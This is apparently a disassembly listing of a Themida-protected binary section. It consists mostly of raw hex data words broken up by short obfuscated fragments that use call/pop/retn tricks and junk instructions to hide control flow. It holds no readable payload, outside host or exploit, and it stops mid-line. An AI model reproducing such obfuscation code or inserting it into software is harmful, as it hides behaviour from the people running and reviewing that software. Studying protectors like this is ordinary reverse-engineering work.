0DD95FFC8h, 89060B32h, 0B165995h dd 6A00B006h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 62E3C356h, 1BD894Dh, 0E6060B20h dd 51006A70h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0CE00DC01h, 79AF682Bh, 3880FBEh, 0F000000h dd 71E4FABFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0CC35545h, 3EFDBEE7h, 613C4ED7h, 29D830Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 2932A8C3h, 0B318585h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0A1C35646h, 61527ED8h, 6BAFC71h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 4F2C351h, 0CDBE742Fh, 8D89272Fh dd 60B20F5h, 9D89C38Bh, 60B27E1h, 3104E8C1h, 0B20C1BDh dd 0E2F76606h, 32B9BD8Bh, 9D31060Bh, 60B005Dh, 6AD82Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0E9DF73C3h, 60806051h, 762ABA66h, 1061B589h, 5861060Bh dd 5499D01h, 0D82B060Bh, 1C9880Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 321751C3h dd 29FDBD89h, 7B9060Bh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1908C357h dd 0E84FEE4Bh, 13h, 0B738FEA0h, 49948C84h, 0F505D3CAh dd 878DE953h, 0BE143895h, 401A3CB7h, 0C1835Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4BC35040h, 9CFE1CD1h dd 0DD1B8BECh, 860FD93Bh, 133h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0AEC35545h, 6600EFAAh, 6AD98Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0C1F6C2C3h, 0C3840F04h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B82C350h dd 0FE97D10h, 0E000000h, 13852E07h, 6D3FC9C0h, 0C34A57C1h dd 95FF3C03h, 60B18EDh, 6B460F9h, 0E2D9D8Bh, 5B61060Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 33C35545h dd 5EE37C57h, 2E53E41Fh, 5810Fh, 49BE0000h, 0F2653B6h dd 884h, 8D895300h, 60B1169h, 6AC32B5Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B64AC353h dd 89D5F1F6h, 0B011D95h, 8343D06h, 860F0000h, 0Eh, 0E9F7BF0Fh dd 2Fh, 0B39BD8Bh, 0C08B060Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 51C35343h, 0F7CAB5DAh, 0FD7E3D0Fh dd 8BF88B02h, 6AD88BC3h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 9E37C357h, 0E9603A62h dd 13h, 32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h, 0F911B7Fh dd 689h, 21BD3300h, 61060B22h, 242185C7h, 9FB7060Bh, 895757F5h dd 0B290595h, 89605F06h, 0B28EDBDh, 0C08B6106h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 71C35646h, 1F980B4h dd 0B28A58Dh, 12E906h, 490A0000h, 0B5179A90h, 6390A885h dd 69BEF85Ch, 6FF06E70h, 3385BD81h, 7D0060Bh, 850F0000h dd 38h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh dd 0C35040h, 7E228B95h, 6614FF74h, 85FFF18Bh, 60B3385h dd 0F4D8EE81h, 958926D6h, 60B2749h, 3385B5FFh, 6A060Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0E7BC93C3h, 45750647h, 2DB58B0Fh, 0FF060B13h, 0B32DD95h dd 0EC78106h, 900D7704h, 0C98D8940h, 81060B2Ah, 413AFD7h dd 6DBD8352h, 60B1Bh, 0CD840Fh, 0BE90000h, 0DC000000h dd 98A1E04Fh, 661CD9E6h, 0BD839067h, 60B1611h, 0B0840F00h dd 89000000h, 0B0B1D95h, 6D95FF06h, 0B060B1Bh, 9C840FC0h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0E21CC356h, 0D098D29h, 8D8D060Bh dd 60B4DD7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0BEC35545h, 54F75995h, 5B8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0D3E94186h dd 0EA2512D2h, 69C7BF66h, 6AE1FFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0D5191AC3h, 819589C3h dd 83060B06h, 0B0EE5BDh, 840F0006h, 67Ch, 1611BD83h, 0F00060Bh dd 66F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 536BE0B9h, 0D9958952h, 5F060B2Ah dd 9D9589h, 8D8D060Bh, 60B0245h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0DBC35545h, 8401C7EBh, 6A44B27Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 5A6C350h, 0D6691C6Ah, 0FA881487h, 0CFCB0181h dd 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 64323FC3h, 9E8h, 93804E00h, 57B7B163h, 0B5897EF0h dd 60B0919h, 441C75Fh, 0CE706B34h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0CEC35242h, 99729561h, 8B66A0AFh dd 44181FEh, 31D6D710h, 9D89006Ah, 60B16B5h, 245858Dh dd 8509060Bh, 60B0AB9h, 12E851h, 0F7C10000h, 0C75CA0CCh dd 55A870D3h, 0A2DE9EFBh, 2F8365E2h, 1879B501h, 5E5E060Bh dd 0BCB66090h, 505B5660h, 5A310F52h, 50616158h, 310F5250h dd 0F249BE66h, 8990585Ah, 0B00C195h, 0E595FF06h, 6A060B0Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0C85FC357h, 604103F6h, 14E9h, 5B051100h dd 12E538ECh, 0D36FAA2Eh, 5214C158h, 72D56E0Fh, 2800FD9h dd 0B4000000h, 8D8D6138h, 60B0245h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 19C35747h, 0E850BB1Bh, 5, 0D425C6Dh dd 0DE941h, 1D310000h, 2DBE5474h, 168B59B1h, 5F11B58Bh dd 0C7FE8B5Eh, 1, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0C874119Ch, 8D895775h dd 60B0E9Dh, 0C7FFBF0Fh, 441h, 0CE90000h, 0D3000000h, 594E5F00h dd 0C224027Ah, 0B18DDD3h, 79840FC0h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 50F2C356h, 0BD8B575Fh, 60B20E1h, 0D78D8D5Fh, 6A060B4Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 154BC357h, 82CBA693h, 0B8A0F0D9h, 5, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 82C35040h, 0E1FF91C2h dd 155BBF66h, 2458D8Dh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 70009EC3h, 8F3B4A3Fh dd 661C0BEEh, 38E8DF81h, 6800F51h, 8B000000h, 0B2179BDh dd 1C75E06h, 44AA727Ch, 0DADBD03h, 181060Bh, 1499CFCBh dd 0AAA9BE66h, 3C0441C7h, 81CE7875h, 2D2BADEh, 25B58B71h dd 81060B04h, 0D7100441h, 6A31D6h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 6A4EAEC3h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0D500A5Ah, 52F9BF0Fh, 18D19D89h, 8D5F060Bh, 0B024585h dd 31B58B06h, 90060B2Ah, 12E850h, 45C40000h, 0DA5571F8h dd 57DB0771h, 6066CF34h, 0EDB9244Fh, 0EE32D3BEh, 6A905F15h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 2DC2C351h, 5CCE6B4Dh, 896F24F5h, 0B0BA195h dd 1681BE06h, 95FF1B56h, 60B0EE5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 52C35141h, 0F8F2656Bh, 23619444h dd 8E9h, 3250500h, 0D975C2BEh, 458D8DC1h, 0BE060B02h, 54BAC0Bh dd 1BB99D89h, 1C7060Bh, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5792CF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5792CF proc near ; CODE XREF: Themida_:005792C7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5792CF endp ; --------------------------------------------------------------------------- db 99h dd 0CF7BE250h, 0D7522CC7h, 9E9F3h, 33980000h, 74A0B4D1h dd 0C7443BC9h, 441h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0D52A95C3h, 7BE5B396h dd 0BD8BFCD8h, 60B1169h, 0E79B58Bh, 0C00B060Bh, 71840Fh dd 0BF660000h, 81660EB2h, 8D349EF6h, 0B4DD78Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0D0EC93DBh, 0B6C6106Eh, 816694DAh, 606837DEh, 3D23BF66h dd 9519589h, 0B861060Bh, 5, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0E3C35545h, 3F3EA3Dh, 0B2029BDh, 8DE1FF06h dd 0B02458Dh, 68C0F06h, 89000000h, 0B00A58Dh, 0A501C706h dd 6654CA95h, 181F08Bh, 1499CFCBh, 0B850Fh, 6E90000h, 76000000h dd 0AD9A86F4h, 89B58B07h, 0C7060B0Eh, 59690441h, 0B529CE5Fh dd 60B2EE1h, 10044181h, 6A31D6D7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E544C353h dd 5CF0E5A6h, 6AF581F7h, 8F0F00h, 8D000000h, 0B024585h dd 99BD8B06h, 0E9060B0Fh, 11h, 0D3CA4994h, 0E953F505h dd 3895878Dh, 2F3FFB14h, 4895079h, 0F9B70F24h, 0EE595FFh dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 9AE530C3h, 977946CAh, 891507DBh, 0B02098Dh dd 3ACE8106h, 8D48B8D1h, 0B02458Dh, 89C78106h, 0C73ACB6Ah dd 1, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0F87AEFC4h, 109B9ABCh, 9529F960h dd 60B12CDh, 441C761h, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+60B01CDh] movsx edi, cx or eax, eax jz loc_579540 mov esi, edx lea ecx, [ebp+60B4DD7h] sub [ebp+60B022Dh], esi mov eax, 5 sub esi, [ebp+60B19B9h] mov esi, 33F58813h jmp ecx ; --------------------------------------------------------------------------- push 0 push esi call sub_579500 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579500 proc near ; CODE XREF: Themida_:005794F8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_579500 endp ; --------------------------------------------------------------------------- dd 0AE8F7h, 0C6E70000h, 73C3FA63h, 4FC9308Bh, 14E9h, 34913A00h dd 0E7A637D1h, 0AD866181h, 78A1C07Bh, 0FBF786DBh, 9D895EF0h dd 60B1369h ; --------------------------------------------------------------------------- loc_579540: ; CODE XREF: Themida_:005794CFj add ecx, edx jmp near ptr dword_5780C4+69Eh ; --------------------------------------------------------------------------- mov [ebp+60B17C5h], eax sub esi, 7A2212EBh mov eax, ecx push 0 push ebx call sub_579560 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579560 proc near ; CODE XREF: Themida_:00579558p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_579560 endp ; --------------------------------------------------------------------------- test esp, edx js loc_57957E mov [ebp+60B1F9Dh], edi loc_57957E: ; CODE XREF: Themida_:00579572j jmp short loc_579584 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_579584: ; CODE XREF: Themida_:loc_57957Ej push 0 push esi call sub_57958F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57958F proc near ; CODE XREF: Themida_:00579587p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_57958F endp ; --------------------------------------------------------------------------- db 67h dd 799AEA8Ah, 0F92DB6B3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0D5C35747h, 741AB4C3h, 3FACA97Bh, 0AE956h dd 8FFF0000h, 74FD90E2h, 613F2D74h, 28A9858Dh, 9E9060Bh dd 8C000000h, 6B08D4F4h, 0A41BC4FBh, 830F90h, 50000000h dd 5E9h, 2C82E400h, 6A909CFFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 4339C353h, 0E807F84Bh dd 0FE8h, 0DD251700h, 0E12A390Ah, 2363E52Bh, 4B3686E8h dd 0DD68166h, 6A5E54h, 3155B58Bh, 6A060Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0C6C35747h, 29C68133h dd 8D07C58Ch, 0ED6FF85h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FFF5C78h, 0BD89F0B7h dd 60B1F65h, 21511EBEh, 5C08324h, 2A19D89h, 0E850060Bh dd 0Bh, 5B1DAE6Eh, 0ED597BC4h, 66903A1Ch, 5E8A7BBEh, 6A240489h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 51DF6B3Ch, 7F7AD49Eh, 25B5890Dh, 6A060B2Bh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8B0C2F4Ch, 0B0B6DB5h, 219CBE06h, 95FF1C4Ch dd 60B2F21h, 0C11F06BEh, 0B09D8D76h, 6A060EA7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6639C356h, 7955CE81h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 85FF43C3h, 60B066Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0A7C35747h dd 14E94F02h, 90000000h, 4B567200h, 0EDE4E18Dh, 431E84B9h dd 0C7080046h, 0E9DD8D0Fh, 0A48h, 0E8h, 0ED815D00h, 60ED709h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 18C35545h dd 0E7053599h, 0BD81E276h, 60B3385h, 7D0h, 13D860Fh, 95290000h dd 60B28E5h, 1A9D9D8Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 8D46E6C3h, 70D8532Eh dd 8B81CA67h, 0E381F0h, 66000001h, 0B2831BEh, 0B5850FDBh dd 8B000000h, 0B240DB5h, 0DCBD8306h, 60ED4h, 53840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 87B9AEC3h, 0ABE9F701h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 291C352h dd 7665A709h, 0BDBD2990h, 29060B16h, 0B05AD9Dh, 0DC85C706h dd 1060ED4h, 0E9000000h, 6Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0FFC35545h, 0C283321h, 0E8813C2Eh dd 14E95164h, 0D9000000h, 135B02FBh, 82B24F5Eh, 1755CCFAh dd 0ED2EBF16h, 5EB3012Bh, 0D4DC85C7h, 60Eh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 9058CCC3h, 0A48FBEF3h, 9D8D5441h, 60B1A9Dh, 0BCE68166h dd 0FF23815Fh, 66FFFFFEh, 6637EEBEh, 6ADB8Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 39173EC3h dd 606223FDh, 1FFD9D01h, 0BF66060Bh, 66616DE9h, 0AB36DE81h dd 0F04C3F6h, 9084h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0B92D3A9h, 0F38B6680h dd 0FFF6B70Fh, 0B18ED95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 8CF5D4DFh dd 958F48B7h, 11BD89F0h, 60060B05h, 31F99D89h, 9061060Bh dd 50F08B66h, 5E9h, 74B40500h, 6A9049EDh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0A43FC356h dd 0FD62118h, 411E922h, 0BF0F0000h, 6A00B0F1h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 97DAC352h, 89F2BF0Fh, 0B31D1B5h, 0CCBE6606h, 6A70E6E5h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 5E99C356h, 0D7B95EF5h, 0BE66B300h, 71E448C9h dd 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E91BC357h, 13h, 833E133Bh, 0A72742BEh dd 387302A3h, 0F2656B52h, 0BA9444F8h, 6, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 81C35141h, 0D1122646h dd 0A1DCF065h, 851BD31h, 8BF8060Bh, 53006AC3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0A5F4AB8Ch dd 0B577474Eh, 8E85C65h, 4D000000h, 676EF121h, 0FE39028h dd 8B5EF3BFh, 0B1F35B5h, 4E8C106h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 2DC35343h, 8B605D9Bh, 0B31D195h dd 6830F06h, 8B000000h, 0B14E5BDh, 0F7666106h, 56006AE2h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 12B2BF0Ah, 517968C5h, 0E952EA50h, 0Ah, 0EF7E9FC1h, 8630A294h dd 2B5E91CEh, 0CE8166D8h, 60508F71h, 8194F0BAh, 1C89616Eh dd 0F2BF0F24h, 3385B5FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 9ADFCC3h, 992E7378h dd 2ED58589h, 95FF060Bh, 60B32DDh, 0AC1950BEh, 6600B061h dd 70E6F28Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 20C35040h, 613C71E4h, 229830Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 9F8757C3h, 0B60FF8A4h, 6BAD8h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 22A919C3h dd 0B3F3DDA4h, 23F68166h, 0F8C38BF4h, 6A04E8C1h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 9BE6C353h, 8B6ADB9Ch, 0E2F766F1h, 29B5B58Bh, 0D82B060Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1FC35545h dd 5E176D8Dh, 0ADB5332Bh, 58060B01h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 83C35646h, 0B95B6032h, 0B58930AAh dd 60B2349h, 880FD82Bh, 14Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 8EC35040h, 0BEA6BB04h, 1D990EA1h dd 7B9h, 26D68100h, 8B432C74h, 0B2AB5B5h, 0C18306h, 23D68166h dd 0FD93BB1h, 10A86h, 14E900h, 0D3DA0000h, 35CD9C95h, 625C6D1h dd 8559637Bh, 1AA72804h, 8C660B65h, 0C1F6F5D9h, 0E1840F04h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 7EE4C351h, 8B6D84C6h, 0B0241B5h dd 0ED95FF06h, 0E9060B18h, 0Ch, 49C9222Ch, 0C01C33D5h dd 9159938h, 53006A5Bh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 6A0612CDh, 0B58B619Fh, 60B2E31h dd 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0A18127C3h, 127DB533h, 343D060Bh, 0F000008h dd 4B86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 3EBC7C42h, 14E9E9F6h, 40000000h dd 0A1BE8043h, 0C0CB2C0Eh, 0B129F951h, 6D69C59Dh, 146807Bh dd 0B33A585h, 9E906h, 0B5330000h, 60B2729h, 8BF8C08Bh dd 0E9D88BC3h, 0Ah, 0BA7BCFFFh, 20FD2453h, 85C79A15h, 60B0869h dd 5F268317h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 4CC35242h, 0B5231653h, 60B0769h, 6AC08Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A15833C3h, 85BD8160h, 0D0060B33h, 0F000007h, 2F85h dd 0A9B58B00h, 0FF060B0Fh, 0B338585h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 85891F07h, 60B2155h, 3385B5FFh, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5804B5C3h dd 0D5ACBE66h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0F8B63CC3h, 66D88B90h dd 46C3EE81h, 2715BD83h, 0F00060Bh, 3C84h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 11E9A0CCh, 9F000000h, 0C88E2773h, 8CF5D4DFh, 958F48B7h dd 2C52CF0h, 280E9h, 48BE6600h, 6ADF8C3Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 188AC357h dd 46FC4B57h, 0F68162CBh, 345E6B60h, 66F28B66h, 4C7F7h dd 243850Fh, 11E90000h, 6F000000h, 0C5525A85h, 764AD0A8h dd 5D145A4Fh, 3C6A2592h, 9D8DFF2Bh, 60EE0CCh, 8950F28Bh dd 8589241Ch, 60B1EB1h, 35FF64h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0CF33C356h dd 345D2E6Fh, 89BDB0FDh, 0B187185h, 8964F806h, 25h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0EEC9817Fh, 4714745Dh, 6AC48B6Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0EB64C352h dd 30DC495h, 8D0F5C66h, 2, 0F08BF18Bh, 0EB01CDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 65C35747h, 4896682Ch dd 9F5C3A4h, 0B339185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 3FF8133Dh, 5818C582h dd 5860F4Ch, 0BE000000h, 64490F84h, 58F64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0BAFAC357h, 0F78B663Ch, 698D89h, 0C483060Bh dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0E92FF445h, 12h, 49F03831h, 9608F93Eh, 79917928h dd 82975AB8h, 0C00B7FADh, 0C3840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 570F31C3h dd 2C9B58Bh, 0BD8D060Bh, 60B4DD7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 6BC35040h, 0CA567320h, 0F78B662Ah dd 5B8h, 0F6BF0F00h, 0E9F9E7FFh, 14h, 0B1487981h, 88F2D5EEh dd 0BD4DF798h, 53BDD876h, 27EEB391h, 245C8B57h, 0B8838B10h dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h dd 335F0200h, 6AC3C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 5DC38CC3h, 0A6A32B77h, 41B58B5Bh dd 89060B12h, 0B0F59BDh, 0E9CA2B06h, 0FFFFF5E0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F4C35646h, 20F1B58Bh dd 0B58B060Bh, 60B2945h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 8A82A2C3h, 4EBh, 0BD8B0000h dd 60B1B69h, 33499589h, 6A060Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0E1E1C0C3h, 59D71B0h dd 5640BD5Fh, 858D5FF5h, 60B28A9h, 2488D681h, 0E9906AECh dd 5, 733075A3h, 5E850E6h, 51000000h, 22A90B9h, 8C0Fh dd 905E0000h, 0AE8h, 0E5AC900h, 0FF44F157h, 5F6BD8A4h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0A36491C3h, 0B8AE2369h, 0C1264BBEh, 0F006A54h dd 0E8Ch, 9E900h, 0BD4C0000h, 0DDBCF13Fh, 8DF875DBh, 0EE36B85h dd 19BD8906h, 0E8060B19h, 0Ch, 2241F1CAh, 1F9F280Ch, 3CBD633Fh dd 10E9h, 3644E200h, 0C4A54AE9h, 683D291Dh, 1EAFB41h, 0C0835F7Ch dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0F2F8C8Dh, 388h, 0FE8B6600h, 0F08B6690h dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 3154EDC3h, 11E811h, 0D5E60000h, 95D43F3Ah dd 0F09F7377h, 0C29D5CB6h, 0BF294BD2h, 743C73EBh, 0D9B5895Eh dd 6A060B2Ah, 0BE900h, 59570000h, 39FAD101h, 8F680B3Ah dd 66006AB5h, 95FFFB8Bh, 60B2F21h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 85C35545h, 812BAAC2h, 0BE9EA1C7h dd 0B09D8D15h, 0E9060EA7h, 11h, 0A8BDB7E7h, 43FAE3B8h dd 6E1DD302h, 0C4D450BBh, 6AD3FF62h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 38E7C353h dd 66D85FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0DF7A34C3h, 3365B58Bh, 0E9FC060Bh dd 86Ch, 0E8h, 0ED815D00h, 60EE375h, 9E190BBFh, 85BD817Bh dd 0D0060B33h, 0F000007h, 16A86h, 51BD0900h, 8B060B05h dd 0B29859Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 6BAB2107h, 8B66377Ch, 0E381F8h, 0E9000001h dd 0Ah, 907BDD9Ch, 0BD48D5FCh, 0DB0B1CC3h, 0C3850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 833250C3h, 0EE16EBDh, 840F0006h, 2Dh, 0BDE9F88Bh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0D34BC351h, 8B1D5B34h, 0B30EDBDh, 6E85C706h dd 1060EE1h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0ADF6C351h, 66F96E6Bh dd 5682C781h, 63E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 6CEF46A8h, 2A1658A2h dd 8B607468h, 0B15159Dh, 8F0F06h, 61000000h, 20EF8166h dd 6E85C7C2h, 60EE1h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0A202C353h, 0F3BF0F1Eh dd 29859D8Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 81FCDFC3h, 0FFFEFF23h, 0DDBD8BFFh dd 66060B15h dd 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 